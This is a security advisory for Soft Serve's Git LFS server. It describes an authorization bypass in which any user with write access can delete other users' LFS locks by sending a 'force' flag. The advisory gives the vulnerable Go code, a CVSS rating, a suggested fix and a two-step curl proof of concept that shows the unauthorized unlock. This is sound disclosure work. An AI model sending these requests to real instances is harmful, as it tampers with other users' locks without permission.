GHSA-6jm8-x3g6-r33j

## LFS Lock Force-Delete Authorization Bypass ### Summary An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. ### Severity - **CWE-863:** Incorrect Authorization - **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` ### Affected Code **File:** `pkg/web/git_lfs.go` **Function:** `serviceLfsLocksDelete` (lines 831–945) **Endpoint:** `POST /<repo>.git/info/lfs/locks/:lockID/unlock` The control flow processes `req.Force` at line 905 before retrieving user context at line 919: ```go // Line 905-916: Force delete executes immediately without authorization if req.Force { if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return // Returns here, never reaching user validation } // Line 919: User context retrieved after force path has exited user := proto.UserFromContext(ctx) ``` ### Proof of Concept **Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker). 1. **User A creates a lock:** ```bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <user_a_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}' ``` 2. **User B deletes User A's lock using force flag:** ```bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <user_b_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}' ``` 3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`. ### Suggested Fix Retrieve user context and validate authorization before processing the force flag: ```go user := proto.UserFromContext(ctx) if user == nil { renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{ Message: "unauthorized", }) return } if req.Force { if !user.IsAdmin() { renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{ Message: "admin access required for force delete", }) return } if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return } ``` ### Impact **Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators. **Exploitation Requirements:** - Authenticated session - Write access to target repository **Consequences:** - Unauthorized deletion of other users' locks - Bypass of LFS file coordination mechanisms - Potential workflow disruption in collaborative environments **Limitations:** Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.